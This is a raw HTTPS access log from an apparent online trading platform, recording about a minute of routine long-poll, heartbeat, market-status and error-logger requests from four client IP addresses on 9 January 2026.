[09/Jan/2026:13:49:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938056842 HTTP/1.1" -
[09/Jan/2026:13:49:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938073939 HTTP/1.1" -
[09/Jan/2026:13:49:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938061339 HTTP/1.1" -
[09/Jan/2026:13:49:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:49:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938068285 HTTP/1.1" -
[09/Jan/2026:13:49:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:49:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:49:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938061913 HTTP/1.1" -
[09/Jan/2026:13:49:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938079268 HTTP/1.1" -
[09/Jan/2026:13:49:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938066526 HTTP/1.1" -
[09/Jan/2026:13:49:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938073321 HTTP/1.1" -
[09/Jan/2026:13:49:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938066947 HTTP/1.1" -
[09/Jan/2026:13:49:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938084335 HTTP/1.1" -
[09/Jan/2026:13:50:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938071692 HTTP/1.1" -
[09/Jan/2026:13:50:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938078404 HTTP/1.1" -
[09/Jan/2026:13:50:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938072017 HTTP/1.1" -
[09/Jan/2026:13:50:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938089407 HTTP/1.1" -
[09/Jan/2026:13:50:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938076826 HTTP/1.1" -
[09/Jan/2026:13:50:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938083508 HTTP/1.1" -
[09/Jan/2026:13:50:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938077087 HTTP/1.1" -
[09/Jan/2026:13:50:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938094442 HTTP/1.1" -
[09/Jan/2026:13:50:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938081892 HTTP/1.1" -
[09/Jan/2026:13:50:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938088583 HTTP/1.1" -
[09/Jan/2026:13:50:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938082163 HTTP/1.1" -
[09/Jan/2026:13:50:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938099465 HTTP/1.1" -
[09/Jan/2026:13:50:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938093684 HTTP/1.1" -
[09/Jan/2026:13:50:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938087021 HTTP/1.1" -
[09/Jan/2026:13:50:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938104540 HTTP/1.1" -
[09/Jan/2026:13:50:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938087235 HTTP/1.1" -
[09/Jan/2026:13:50:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938098761 HTTP/1.1" -
[09/Jan/2026:13:50:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938092210 HTTP/1.1" -
[09/Jan/2026:13:50:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938109611 HTTP/1.1" -
[09/Jan/2026:13:50:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938092367 HTTP/1.1" -
[09/Jan/2026:13:50:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938103790 HTTP/1.1" -
[09/Jan/2026:13:50:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938097351 HTTP/1.1" -
[09/Jan/2026:13:50:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938114641 HTTP/1.1" -
[09/Jan/2026:13:50:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938097401 HTTP/1.1" -
[09/Jan/2026:13:50:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938108897 HTTP/1.1" -
[09/Jan/2026:13:50:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938102495 HTTP/1.1" -
[09/Jan/2026:13:50:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938119664 HTTP/1.1" -
[09/Jan/2026:13:50:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938102525 HTTP/1.1" -
[09/Jan/2026:13:50:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938113964 HTTP/1.1" -
[09/Jan/2026:13:50:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938107536 HTTP/1.1" -
[09/Jan/2026:13:50:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938124733 HTTP/1.1" -
[09/Jan/2026:13:50:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938107605 HTTP/1.1" -
[09/Jan/2026:13:50:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938119057 HTTP/1.1" -
[09/Jan/2026:13:50:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938112706 HTTP/1.1" -
[09/Jan/2026:13:50:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938129767 HTTP/1.1" -
[09/Jan/2026:13:50:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938112662 HTTP/1.1" -
[09/Jan/2026:13:50:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938124125 HTTP/1.1" -
[09/Jan/2026:13:50:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938117850 HTTP/1.1" -
[09/Jan/2026:13:50:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938134790 HTTP/1.1" -
[09/Jan/2026:13:50:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938117723 HTTP/1.1" -
[09/Jan/2026:13:50:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:50:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:50:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938129155 HTTP/1.1" -
[09/Jan/2026:13:50:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938122983 HTTP/1.1" -
[09/Jan/2026:13:50:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938122758 HTTP/1.1" -
[09/Jan/2026:13:50:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938139816 HTTP/1.1" -
[09/Jan/2026:13:50:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:50:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:13:50:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
